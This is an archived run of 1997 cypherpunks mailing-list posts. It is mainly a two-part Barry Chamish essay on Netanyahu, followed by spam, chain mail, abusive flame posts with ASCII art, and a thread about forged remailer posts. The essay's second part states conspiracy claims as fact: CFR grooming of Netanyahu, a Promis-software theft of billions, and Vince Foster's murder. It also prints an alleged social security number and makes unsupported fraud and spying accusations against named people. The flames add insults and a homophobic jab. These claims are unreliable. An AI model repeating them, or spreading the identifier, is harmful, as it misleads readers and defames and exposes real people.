>broke out on June 5, 1967, and Netanyahu flew to Israel to volunteer

>for the army.

>

>A high school buddy, Ari Bintener recalls,"No one was surprised. It was

>obvious his place was in Israel. I was pleased that he found a way to

>help his country."

>

>Bob Trimble, Netanyahu's soccer coach remembers,"Bibi was the best

>player on the team, except for his brother Yoni who could have played

>professionally if he had wanted to. The only problem with Ben was that

>his political views were so far to the left of the other players."

>

>As a soldier, Binyamin rose to the rank of captain in the most secret

>combat unit of all, the fighting arm of military intelligence. He took

>part in a good number of legendary operations and was wounded while

>fighting highjackers holding a Sabena passenger plane. On the Suez, he

>almost drowned trying to swim with his heavy automatic rifle under

>Egyptian fire. He became known as "the lousy swimmer from Jerusalem."

>

>Soldiers recall him as a cool but "square" officer who lost his temper

>only once. That was when he found his men had been taking "souvenirs"

>from operations in Lebanon. He put a quick end to what he viewed as

>looting.

>

>After five years of soldiering Netanyahu returned to America to study

>architecture at either Harvard or MIT. He chose the latter because it

>permitted him to begin an MA course load, as his academic advisor Prof

>Leon Garviser remembers. "I told him that no one could handle the load

>but he insisted that he had to make up for time lost while serving his

>country. I agreed to add one extra course in the first semester and

>when he passed all his courses I added another one. In the end he

>finished his MA in two and a half years. Don't ask me how. No one did

>it before him or since."

>

>Once again, Netanyahu interrupted his studies only once. In October of

>1973, war broke out in Israel and he flew back to fight in the Sinai.

>When he returned, he became a student activist on behalf of Israel, a

>fact that was noted by the Israeli consul of Boston, Collette Avital.

>In one of the many ironies in his life, it was Avital, the dovish

>consul of New York during the Rabin/Peres administration who arranged

>Netanyahu's first television appearance, a debate with PLO activist

>Prof Edward Said.

>

>The loss of his brother Yoni during the Entebbe raid put a stop to

>Binyamin's plans to become an architect. Instead he settled for an MA

>in business administration and took a post at the Boston Consulting

>Group. His boss was Ira Magaziner, the man who later was the

>intellectual force behind the Clinton administration's failed health

>reform package.

>

>As Moshe Arens notes, "Bibi is only the second prime minister who ever

>had a real job outside the army or politics. Shamir was the first. He

>once worked as an accountant in a glue factory."

>

>While working at Boston Consulting, Binyamin received his first

>diplomatic assignment: he was sent to Sweden to advise the government

>on efficient administration of public companies.

>

>Already earning $100,000 and with a splendid career before him,

>Netanyahu decided to give it all up and return to Israel to act as the

>marketing manager of a furniture concern. As his colleague Barbara

>Maclogan notes,"Anyone who claims Bibi planned to live in America

>doesn't know what he's talking about. He gave up the opportunity of his

>life in Boston to earn a quarter of his salary in Israel."

>

>In 1979, Netanyahu organized an anti-terrorism conference in Jerusalem,

>dedicated to his fallen brother. Somehow, he managed to attract the

>likes of George Bush, George Shultz, and Richard Perle (President's

>Reagan's chief arms negotiator) to the meeting and was thrust briefly

>onto the world stage. But when the conference ended, it was back to

>work at the furniture factory.

>

>That all changed in 1982, when Israel's Washington Ambassador Moshe

>Arens invited Netanyahu to be his deputy. This unprecedented career

>rise has been a subject of much speculation. Many people have noted

>that Bar Tzion Netanyahu was one of the few guests invited to Arens'

>wedding and he was repaying an old friend. But Arens has a different

>explanation. "People got a good laugh when they heard I phoned a

>furniture factory to find a deputy. What sold me on Bibi was his

>organization of the anti-terror conference and the strong impression he

>made on American leaders who participated."

>

>In 1984, after two visibly successful years as Arens' deputy, Bibi was

>named Israel's ambassador to the UN. In another of those ironies that

>follow him, he was appointed to the post by Shimon Peres against the

>objections of Yitzhak Shamir. Once again, it was a leader of the Labour

>Party who promoted his early career.

>

>This was the true turning point in his quest to become prime minister.

>Netanyahu's good looks, fluent English and controversial opinions made

>him a media star. He became a frequent presence on Ted Koppel's

>Nightline and Larry King Live. As King observes,"Whenever he appeared,

>the phones wouldn't stop ringing. He especially made an impression on

>women viewers. As a guest I'd rate him 8. If he had a sense of humor to

>go with everything else, he'd have been a 10."

>

>During this period, Netanyahu wrote his book, Terror-How The West Can

>Win. The book made a tremendous impression on the Reagan

>administration. In fact, whenever George Bush visited New York, and

>that was often, he would call on Netanyahu.

>

>By 1988, Netanyahu had made powerful allies in the American media. He

>received strong support from Charles Krauthammer of the Washington

>Post, Abe Rosenthal of the New York Times, and Ellie Weymouth, daughter

>of Katherine Graham, the publisher of Newsweek. When he returned to

>Israel, he was too powerful a figure to be ignored and was appointed,

>first Deputy Foreign Minister and later the Prime Minister's spokesman.

>In this capacity, CNN made Netanyahu an international media star during

>the Persian Gulf War.

>

>Netanyahu was ready to challenge the Old Guard of the Likud. The

>combination of youth, determination and powerful allies abroad led to a

>resounding victory in the Likud primaries of 1993 and in the general

>elections of 1996.

>--------------------------------------------

>Sent by Barry Chamish - Israeli journalist.

>Phone/Fax : (972)-2-9914936

>E-Mail    : chamish@netmedia.net.il

>--------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robalini@aol.com
Date: Fri, 7 Feb 1997 07:13:39 -0800 (PST)
Subject: The Konformist: The Chamish Files - Bibi Part Two
Message-ID: <199702071513.HAA24906@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Subj: ESSAY: [2/2] Natanyahu

Date: 97-01-31 12:51:08 EST

From: chamish@netmedia.net.il (Chamish Barry)



>From: Chamish Barry <chamish@netmedia.net.il>

>

>The Secret Life Of Binyamin Netanyahu

>

>Even within the conventional story, it is clear that Netanyahu was

>groomed for leadership by the Council On Foreign Relations (CFR) in New

>York. In 1979, twenty-seven year old Netanyahu called a conference on

>terrorism and the ruling elite of the CFR, Bush, Shultz and Perle

>answered to his summons. One word will suffice: why?

>

>Yoni Netanyahu was undoubtedly a martyr but far from the only one in

>Israel. He was not such a powerful symbol that the CFR would send a

>delegation of its biggest guns, including CIA director Bush to his

>unknown brother's get-together.

>

>Netanyahu's decision to quit his lucrative Boston job is almost

>inexplcable. Netanyahu sought a highpaying job at a prestigious

>consulting firm yet not two months later, he gave it up to fly back to

>Israel and sell sofas. He was barely settled in back home when he

>decided to organize an anti-terrorism conference and invite the most

>powerful people in Washington to attend.

>

>It is possible that Netanyahu was told to quit his job, return to

>Israel and arrange the conference. Perhaps there is a connection to the

>fact that a year later Shultz later made fighting terrorism a first

>priority of the Reagan administration and that Vice-President Bush was

>appointed to head a front for illegal covert activities called The

>Anti-Terror Task Force.

>

>Arens' offer of a deputy ambassadorship to salesman Netanyahu

>made no political sense. Israeli diplomatic aides and deputies

>typically rise slowly through the Foreign Ministry bureaucracy. They

>are not thrust into the second highest position at the most vital

>embassy in the world. It is far from impossible that Arens was

>directed to bring in Netanyahu by the very people in the Reagan

>administration who attended his conference three years earlier.

>

>Once in New York in 1984, CFR-affiliated media such as CNN, the New

>York Times, Washington Post, Newsweek and CFR members Koppel and King

>turned Netanyahu into a major political figure; so much so that George

>Shultz became a close friend. We again ask the succinct question: why?

>What did Shultz, twenty years Netanyahu's senior, find so amusing about

>the Israeli UN Ambassador that he had to pay him a courtesy call every

>time he flew to New York? In 1985, Shultz chaired another Netanyahu-

>organized conference on terrorism, this time in Washington. The

>resulting publicity and prestige was a significant factor in

>Netanyahu's fast-rising political career. Clearly, the secretary-of-

>state had a major stake in Netanyahu's future. Which means, so did

>George Bush.

>

>All that can be concluded from the conventional story. What then do we

>make of Bibi's secret life?

>

>In 1987, Netanyahu applied for credit using his American social

>security number 020364537. With that number, he or someone else made

>the application under a phony name, John Sullivan, living at a false

>address in Northern California.

>

>Netanyahu used Sullivan's name to borrow money during 1987-88. John

>Sullivan does not exist, nor does Netanyahu's credit file. Israeli and

>American reporters who tried to dig into Netanyahu's past using his

>social security number discovered two other phony names used to apply

>for credit in 1987-88 but were perplexed to find that his credit

>records were completely removed. Only someone very high up in the

>American government could have authorized the erasing of the file.

>

>We return to the all-purpose question: why? Again, no one who knows is

>talking. What is nearly certain is that while Netanyahu was the UN

>Ambassador, he was either defrauding a credit company or on an

>assignment involving money that required three identity changes.

>

>Then there is Netanyahu's close relationship with Congressman Ben

>Gillman, head of the House Committee On International Relations. The

>problem here is that Gillman was also a close associate of Shabtai

>Kalmonovitch and shared business deals with him in Africa. Kalmonovitch

>was, not long after, imprisoned in Israel as a KGB spy. This is not to

>imply that Netanyahu was involved in spying, only that his closest ally

>in Congress has mighty strange intelligence ties to Israel.

>

>And what to make of the mystery of Netanyahu's housing?. Before he was

>even the leader of the Likud, two foreign businessmen, Jack Mandel of

>Australia and Sandy Eisenstadt of the US each paid about $750,000 to

>buy Netanyahu luxury apartments in Tel Aviv and Jerusalem. Again, no

>one has a clue why. There is speculation that part of the reason may be

>Eisenstadt's stake in an Israeli oil exploration company, a shady and

>hidden business, but no concrete connection has been discovered by the

>Israeli media.

>

>Netanyahu's penchant for secrecy is not subtle. It is well-known among

>the Israeli media that he had conducted a number of secret meetings

>with the Jordanian royal family in London and Amman before he became

>prime minister. Even the conventional Jerusalem Post reported in mid-

>June that six secret meetings were held in the past two years. But when

>Inside Israel just before the elections asked Netanyahu to comment on

>the meetings, he denied they had ever taken place.

>

>Perhaps the most secret and worrying ties concern what is supposedly a

>high-tech services company. Yediot Ahronot relates how Netanyahu wooed

>a local Likud leader. "He was invited by Netanyahu to a meeting in his

>office at Systematics in Ramat Gan. The head of the company, Oded

>Levental is a candidate for a financial post in the new government."

>

>Systematics is at the core of serious research by American alternative

>publications, including the usually reliable Media Bypass. In short,

>the allegations are that the National Security Agency had handed

>Systematics stolen software called Promis that opened a trap door to

>the world's secret banking transactions. About 250 Americans, mostly

>politicians, had their illegal foreign accounts emptied of over $3.5

>billion in the operation. It is claimed that Colin Powell dropped out

>of the presidential race after his account electronically vanished.

>Leading figures in the operation included George Bush, Caspar

>Weinberger and two Arkansas attorneys, Vince Foster Jr. and Hillary

>Rodham Clinton on behalf of Clinton financier Jackson Stephens. The

>research invariably concludes that Foster was murdered because he knew

>too much about the scam.

>

>A leading investigative writer, Sherman Skolnick, writes:

>

>"Some contend Systematics is an NSA proprietary and spies on banks

>overseas. Can Systematics rightfully deny spying actually done by

>buffers or cut-outs between Systematics and NSA? Systematics, through a

>spokesperson, vigorously denies Foster assisted it in any spying on

>foreign banks but remains apparently silent on whether Hillary Rodham

>Clinton assisted Systematics in some nefarious activities."

>

>Is it fair to ask why Systematics provided Netanyahu office space and

>if this was the sum total of its involvement with him?

>

>Since taking office, Netanyahu has fueled fears of international

>control by his actions within Israel's tiny anti-NWO community. They

>were most intrigued by his refusal to give Ariel Sharon a sensitive

>cabinet post. One possible reason is fear of Sharon's own intelligence

>arm in the US. Then for those people who fervently hoped that he would

>rid himself of any connections to the Arye Deri scandal, with all its

>implications of money laundering and perhaps murder, Netanyahu

>appointed as his Justice Minister, Yaacov Neeman, a lawyer who is

>currently being investigated for intimidating a key witness against

>Deri in a London trial.

>

>But the topper was Netanyahu's decision to allow Yaacov Frenkel to run

>the country's economy single-handedly. Frenkel worked for the World

>Bank between 1971-1990. After nineteen years away from "home" Frenkel

>was unexplainedly appointed head of the Bank of Israel.

>

>His policies mirrored the world-wide debt program of his previous

>employer documented by numerous researchers. The plan involves raising

>interest rates beyond what the public or industry can afford, and

>forcing the government to borrow lots of money from American banks to

>keep the populace pacified. When the debts have to be repaid from an

>empty treasury, the International Monetary Fund bails out the country

>with schemes guaranteed to impoverish the people.

>

>Frenkel was a proponent of Israel borrowing $10 billion in loans

>guaranteed by the American government and he kept his interest rates as

>high as he could in the face of opposition from then-Finance Minister

>Avraham Shohat who suspected Frenkel, "was playing politics with the

>Bank of Israel."

>

>Binyamin Netanyahu, the man who Inside Israel hoped would save Israel

>from the NWO puppet regime of Peres, appointed Yaacov Frenkel to be his

>Minister of Finance. The only thing that prevented the disaster was

>party opposition to an appointee who had never publicly supported the

>Likud.

>

>Dan Meridor got the post instead. But as the Maariv headline read:

>"Meridor Will Act, Frenkel Will Lead." On his first day in office

>Meridor announced that his policy would be to lower the standard of

>living in Israel. Not a week later, Frenkel raised the interest rates

>by a whopping 1.5% with Meridor's "approval."

>

>Something is going on behind the scenes at the CFR. While Secretary of

>State Warren Christopher must appear to be opposing Likud government

>policies to keep the Arabs in line, the former CFR director is playing

>some kind of double game with Netanyahu.

>

>King Hussein made his accommodation with Netanyahu well before the

>elections and refused to support Peres during the campaign. Netanyahu's

>victory clearly delighted him and on the surface, why not? The last

>thing he would want is a PLO state on his border with control of the

>Moslem holy sites. In time, it will become clearer what Netanyahu

>promised the King during the secret London meetings. Included, most

>assuredly, will be Jordanian hegemony over the Temple Mount.

>

>There has been a transformation in Israel but the CFR is still running

>the latest prime minister. And that is a good reason for intense fear

>about Israel's future.

>----------

>Barry Chamish is the editor of Inside Israel, an investigative report

>on Israeli affairs. For a free sample copy and subscription

>information, write:

>

>INSIDE ISRAEL

>POB 579

>Swindon, Wiltshire

>ENGLAND  SN4 OTA

>Fax: 44-793-790722

>EMAIL:merkava@tcp.co.uk

>--------------------------------------------

>Sent by Barry Chamish - Israeli journalist.

>Phone/Fax : (972)-2-9914936

>E-Mail    : chamish@netmedia.net.il

>--------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: WinSock Remailer <winsock@rigel.cyberpass.net>
Date: Fri, 7 Feb 1997 07:11:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Sphere packings
Message-ID: <199702071511.HAA24791@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Dickhead Vermin K[ondom]OTM has been a source of endless
embarassments to his sympathizers on and off the net.

       _  O     O  _
        \-|-\_/-|-/  Dickhead Vermin K[ondom]OTM
         /^\   /^\
        ^^ ^^ ^^ ^^







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Sat, 8 Feb 1997 07:56:00 -0800 (PST)
To: steve <steve@idoru.demon.co.uk>
Subject: Re: unimbibing
Message-ID: <199702081556.HAA20008@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> I have been trying to get off this list for nearly a week now. The instructions given in the welcome message don't work.
> Get me off this list now.!
> I joined to learn about cryptography, not listen to some socially retarded juveniles argue over who's got the biggest dick.

I participate in this list to discuss cryptography and related 
issues. If you have been reading posts discussing large genitalia you 
are probably confusing list traffic with private email from your gay 
friends.

Here are instructions telling you how to unsubscribe:


To unsubscribe from the cypherpunks mailing list:

Send a message to majordomo@toad.com with the *MESSAGE BODY* reading
exactly as follows:

unsubscribe cypherpunks you@your.domain.com


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: guyh@att.net.hk
Date: Thu, 6 Feb 1997 19:40:49 -0800 (PST)
Subject: M-Net Express
Message-ID: <199702070340.TAA07854@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


WELCOME TO M-NET'S CUT-PRICE TELEPHONE SERVICE

We supply worldwide the SAME lines and services that one can buy
from local phone companies and providers, BUT FOR LESS!  We have
purchased millions of minutes from AT&T, Sprint, MCI, British
Telecom, and 20 other companies.

Call from any country! NO MINIMUM CHARGE! 100% SATISFACTION
GUARANTEED! For full details; mailto:guyh@att.net.hk?subject=MNET
a BLANK message.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Huge Cajones Remailer <nobody@huge.cajones.com>
Date: Fri, 7 Feb 1997 12:00:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: [IMPORTANT] Zero-knowledge interactive proofs
Message-ID: <199702072000.MAA29593@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Many forgeries are traceable with mathematical 
certainty to feebleminded Timmy C. May's poison 
keyboard.

          .oooO           Oooo.
          (   )   _   _   (   )
           \ (   / ) ( \   ) /
        ----\_)-/ (---) \-(_/----
               (   ) (   )
               oooO   Oooo






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Otto Matic <ott0matic@hotmail.com>
Date: Fri, 7 Feb 1997 12:02:16 -0800 (PST)
To: lwjohnson@grill.sk.ca
Subject: Cool Names, Lost in Flames
Message-ID: <199702072002.MAA29642@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Some time ago Human Gus-Peter wrote something that went like this:

> I still think that you should just let your kids run your machine or
> just pick the guy with the coolest name, like Attila the Hun or 
> Genocide or OttOmatic.

Thanks, Human Gus-peter.  I think my name is cool also.  

I am only suscribeed to the flames list, because my uncle (a secret guy) reads
the CENSORED list.  This way we can see what the other secret guys are up to,
and what kind of KewL StUfF they throw into the Flames Trashcan.

Human Gus-peter, I think you should be very careful.  They throw 
everything you write into the trash.  That could mean they are watching you. 
That could be VERY bad for you.  We will see where this message goes.

otto
=-=-=-=-=-
Otto Matic

"Fuckin' A, Miller!"  Bud, Repo Man


---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Gr8SClaus@aol.com
Date: Fri, 7 Feb 1997 12:11:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Hello, Duncan
Message-ID: <199702072011.MAA29725@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I saw your listing for accessing senior citizens newsgroups through
compuserve.
Do you think, by chance, that the same would be possible through america
online?
I'm a senior citizen of 59 but find myself liking middle age to older and
find the only source on line (that i can locate as am anateur) is netpics.com
and you have to pay for this service.  But I do enjoy looking at older GUYS
and find mostly girls--even on netpics.

Thanks.
Dave





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Quantum Communications <sales@quantumcom.net>
Date: Fri, 7 Feb 1997 16:56:50 -0800 (PST)
To: "cwozniak@aol.com>
Subject: Customers For You!!!
Message-ID: <199702080056.QAA05200@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


The following message has been brought to you by Quantum Communications.
If you would like advertising rates and information, send an email to info@quantcom.com
or visit our website http://www.quantcom.com
If you prefer NOT to receive promotional messages inthe future, send an email to 
remove@quantcom.com

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For complete details on our services, pricing, no-nonsense response
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info via email, please be sure to include your voice phone # and best
time to call, unless you would prefer not to be contacted via
telephone to follow up.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: huilam <huilam@pl.jaring.my>
Date: Fri, 7 Feb 1997 07:10:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702071510.HAA24733@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


How to get off this mail-listing ??

Regards,
Hui Lam
Email:huilam@pl.jaring.my  
Homepage:<http://www.geocities.com/heartland/8642/>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: linda wilson <inc@jps.net>
Date: Fri, 7 Feb 1997 11:40:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Appointment Verification
Message-ID: <199702071940.LAA29202@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Suck_My_Big_Juicy_Cock,



We would like to ask for your help with a survey for a service bureau we are
considering developing software for in voice communications.

This software will be used to remind patients of their upcoming
appointments, allow them to confirm or reschedule. After confirming
which patients will not be able to make their appointment the system will
contact all individuals that are on a waiting list to schedule them for open 
time slots.....

For assisting us we will mail you a FREE certificate for 100 rolls of Kodak film 
and a 35 mm camera. NO ONE WIll CALL YOU!

1. Do you feel doctors would use a service which calls patients 
for them using a personalized Voice system reminding them of 
their appointments? 

____yes   ____NO


2. How important do you feel it is to doctors to eliminate the drudgery of
staff calling patients reminding them of appointments.

not important		______
somewhat important	______
Very important		______

3. What's do you feel would be a fair price or doctors would be willing to pay for such a service?

100-$200 per month	_____
200-$300 per month	_____
300- $400 per month	_____

Other		____________

Please email your answers to advance@ns.net

If you have any suggestions on any additional automated voice service you would like to see
someone develop please let us know. Thanks again for your participation.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Fri, 7 Feb 1997 11:41:13 -0800 (PST)
To: "Timothy C. May" <sandfort@crl.com>
Subject: censorship and headers/example of ascii art which passed filters
Message-ID: <199702071941.LAA29267@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

    the "message" example which follows is obviously a message which 
    should have been destinated for owner-cypherpunks-flame.  there is 
    absolutely no indication of the differentation and the header shows:

        Sender: owner-cypherpunks@toad.com

    when it should have shown:

        Sender: owner-cypherpunks-edited@toad.com

    let's put it this way, if cp is to be censored, might as well do the 
    job correctly as this message was dumped into the main list.  

    regardless, censoring what is supposed to be the free speech 
    defenders of the online world is a poor example of our toleration 
    for differing viewpoints, regardless of their alledged stupidity or 
    off-topic value, or lack of value.  So far, cypherpunks is showing 
    less tolerance for freedom of speech that the United State Supreme 
    Court. You all know something I dont?  or do I need to start 
    cleaning and oiling real soon?

    --attila

+Received: from toad.com (toad.com [140.174.2.1])
+	by primenet.com (8.8.5/8.8.5) with ESMTP id FAA10780
+	for <attila@primenet.com>; Fri, 7 Feb 1997 05:23:55 -0700 (MST)
+Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3) id
+EAA21727; Fri, 7 Feb 1997 04:19:54 -0800 (PST) Received: from
+sirius.infonex.com (root@sirius.infonex.com [206.170.114.2]) by
+toad.com (8.7.5/8.7.3) with ESMTP id EAA21718; Fri, 7 Feb 1997
+04:19:47 -0800 (PST) Received: from mail.infonex.net
+(dfbfl4-37.gate.net [199.227.103.228]) by sirius.infonex.com
+(8.7.3/8.7.3) with SMTP id EAA26850 for cypherpunks@toad.com; Fri, 7
+Feb 1997 04:19:33 -0800 (PST) Message-Id:
+<199702071219.EAA26850@sirius.infonex.com> Date: Friday, 07 Feb 97
+07:19:25 EST
+To: cypherpunks@toad.com
+From: winsock@rigel.cyberpass.net (WinSock Remailer)
+X-Mailer: WinSock Remailer Version ALPHA1.3
+X-Comments: -
+X-Comments: This message is NOT from winsock@rigel.cyberpass.net.  It
+was  X-Comments: remailed by an automated anonymous remailer.
+X-Comments: -
+X-Comments: SEND ALL COMPLAINTS AND BLOCKING REQUESTS DIRECTLY TO:
+X-Comments:    REOP-L@cornell.edu <Remailer Operator's Network>
+X-Comments: -
+X-Comments:     WinSock Remailer (winsock@rigel.cyberpass.net)
+X-Comments:           http://www.cyberpass.net/~winsock/ X-Comments: -
+X-Remailer-Setup: Maximum Message Size -- None
+X-Remailer-Setup: Reordering is ON, Mail Poolsize is 3
+X-Remailer-Setup: News Posting DISABLED
+X-Remailer-Setup: Subject Header KILLED
+X-Remailer-Setup: Logging OFF
+X-Remailer-Setup: All messages must be PGP encrypted
+Subject: Re: Sphere packings
+Sender: owner-cypherpunks@toad.com
+Precedence: bulk
+X-UIDL: e2bae6a70f8b97f156939d711ba124ba

+Dickhead Vermin K[ondom]OTM has been a source of endless
+embarassments to his sympathizers on and off the net.
+       _  O     O  _
+        \-|-\_/-|-/  Dickhead Vermin K[ondom]OTM
+         /^\   /^\
+        ^^ ^^ ^^ ^^

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBMvtzDL04kQrCC2kFAQF8UwQAi2uqgh2IX8zy9BgXmuBK5hI0yza9XeJ1
+o/aa6KXnKA5+aBuFF5VFufijsJgMQ+2TI+OVi1oPy9OpWofZ1mHzzzNDndypfv6
Bnb05Yrz3ikJXitr7zs26+f8ImeC++5hrkNanPUVBuwa09l2NMYjvGRf+980XLIA
3TIkjAlpcrk=
=1Izr
-----END PGP SIGNATURE-----










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: My Account <foolswisdom@juno.com>
Date: Fri, 7 Feb 1997 16:59:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702080059.QAA05303@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII               
TTTTTTTTTTTTTTTTTTTTTT                 
!!!!!!!!!!!!!!!!IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII               
TTTTTTTTTTTTTTTTTTTTTT                  !!!!!!!!!!!!!!!!        
IIIIIIIIIIIIIII                                            TTTTTTTT      
                            !!!!!!!!!!!!!!!!         IIIIIIIIIIIIIII     
                                      TTTTTTTT                           
       !!!!!!!!!!!!!!!!         IIIIIIIIIIIIIII                          
                 TTTTTTTT                                  
!!!!!!!!!!!!!!!!         IIIIIIIIIIIIIII                                 
          TTTTTTTT                                   !!!!!!!!!!!!!!!!    
    IIIIIIIIIIIIIII                                            TTTTTTTT  
                                !!!!!!!!!!!!!!!!         IIIIIIIIIIIIIII 
                                          TTTTTTTT                       
           !!!!!!!!!!!!!!!!         IIIIIIIIIIIIIII                      
                     TTTTTTTT                                  
!!!!!!!!!!!!!!!!         IIIIIIIIIIIIIII                                 
          TTTTTTTT                                   !!!!!!!!!!!!!!!!    
    IIIIIIIIIIIIIII                                            TTTTTTTT  
                                !!!!!!!!!!!!!!!!         IIIIIIIIIIIIIII 
                                          TTTTTTTT                       
           IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII                          
     TTTTTTTT                                  
!!!!!!!!!!!!!!!!IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII                     
          TTTTTTTT                                   !!!!!!!!!!!!!!!!    
    
***************************************************************************************	
                 ***  TAG,   YOU' RE   IT   !!!!!!  ***
***************************************************************************************You
have been a victim in The Great E-mail Game of Tag!  There are no
tagbacks, and you must send this to someone else to rid yourself of being
it!Send this to friends, classmates, co-workers, famous people, jerks,
orfools.  Send another copy to other people to start your own game!  
Just remember to have fun!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Huge Cajones Remailer <nobody@huge.cajones.com>
Date: Fri, 7 Feb 1997 20:25:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [ANNOUNCEMENT] Hash functions
Message-ID: <199702080425.UAA08798@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. Mayo's reheated, refurbished, and regurgitated 
cud is completely inappropriate for the mailing lists into 
which it is cross-ruminated.

        o      o o o   o
       /~>    <><><>   <> Timothy C. Mayo
    o...(\    ||||||   ||






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: action@answerme.com
Date: Fri, 7 Feb 1997 21:41:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: ** THE 30 SECOND COMMUTE **
Message-ID: <199702080541.VAA10377@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello,^Morons,
Date: Fri, 7 Feb 1997 23:15:29 -0600
Message-Id: <05152934600809@sitegen.net>




         WELCOME TO THE 30 SECOND COMMUTE...45, IF YOU GRAB SOME COFFEE!
        
 Let's take a trip back to 1950 and imagine that my name is Ray Crock and I want to tell 
 you about a little restaurant named McDonald's.  If you had bought the stock that I was 
 selling then, you'd certainly be doing the 30 second commute now!! 
 Seriously, had you bought that stock then, it would've been the right decision.


 Fact is, it's 1997, I don't own McDonald's corporation and I'm not selling anything. 
 
 What I want to know is:

 1.  Would you spend 3 or 4 minutes a day to make $300 or $400 a week to spend on yourself 
     and family?
 2.  Would you trade $100 for $600 ?
 3.  If you got promoted to president of the company, would you accept?
 4.  Would you make the right decision now, if you had to?
 5.  Would you e-mail me to see how you can do the 30 second commute?

 mailto: action@answerme.com
 
 Matt Emerson
 Toll Free: 1 800-976-8608
 Fax:         602 641-3514
 InterNet Address: http://www.rb-dist.com









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: E-Mail Communications <freedom@econopromo.com>
Date: Fri, 7 Feb 1997 22:40:58 -0800 (PST)
To: you@alberta.sallynet.com
Subject: Internet Alert! Pay for local dial-up??
Message-ID: <199702080640.WAA11479@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



*****************************************

INTERNET USERS ALERT!!!   It has come to our attention that several
local telephone companies have petitioned the FCC for permission
to charge Internet Users by the minute for  LOCAL  dial-up telephone 
service.  This would affect every Internet User, including those
using AOL dial-up. 

For more information,  see the FCC site: http://www.fcc.gov/isp.htm.  
Please send an E-Mail to  isp@fcc.gov
to express your outrage at the idea of allowing telephone companies
to charge by the minute for LOCAL dial-up service.  E-Mail comments
must be sent by Feb. 13th, 1997.  This affects every Internet user!!

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  - FREEDOM NEWSLETTER -
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"Blessed is the Nation whose God is the Lord"

-- Psalms 33:12

*****************************









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Sat, 8 Feb 1997 07:57:42 -0800 (PST)
To: lcs Remailer Administrator <mix-admin@nym.alias.net>
Subject: WANTED: Tolerant, anonymity-friendly news admins 1.03
Message-ID: <199702081557.HAA20052@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On 7 Feb 1997, lcs Remailer Administrator wrote:

> aga <aga@dhp.com> writes:
> 
> > Who attacked the network and for what reason?
> 
> Well, as best I can tell I've gotten caught in the crossfire of a
> spam/"anti-spam" spam war.  People are forging articles through
> anonymous remailers to solicit spam to non-spamming customers of
> "spam-friendly" ISPs, in the hopes of driving those customers away.
> In other words, a lot of articles are being posted to groups like
> alt.make.money.fast with headers like:
> 
>  From: customer@isp.under.attack (My^ISP^spams^I^should^switch)
> 
> Then the spam bots collect the addresses, and send lots of mail like
> 
>  To: customer@isp.under.attack (My^ISP^spams^I^should^switch)
>  Subject: Great opportunity!!!
> 
>  My^ISP^spams^I^should^switch,
> 
>  I saw your post the other day, and have an oportunity for you that's
>  so good you can't miss it...
> 
> It would be amusing if it weren't causing me hassles.  Ultimately,
> however, the person doing this is clearly trying to get ISPs to set
> more restrictive policies about what mail/news customers can send,

Well, that is bullshit, and that person needs to be stopped.  Anyone
trying to get more restrictive policies needs weeded out and
identified, and then dealt with.

> while knocking off a few anonymous remailers and mail2news gateways in
> the process.
> 
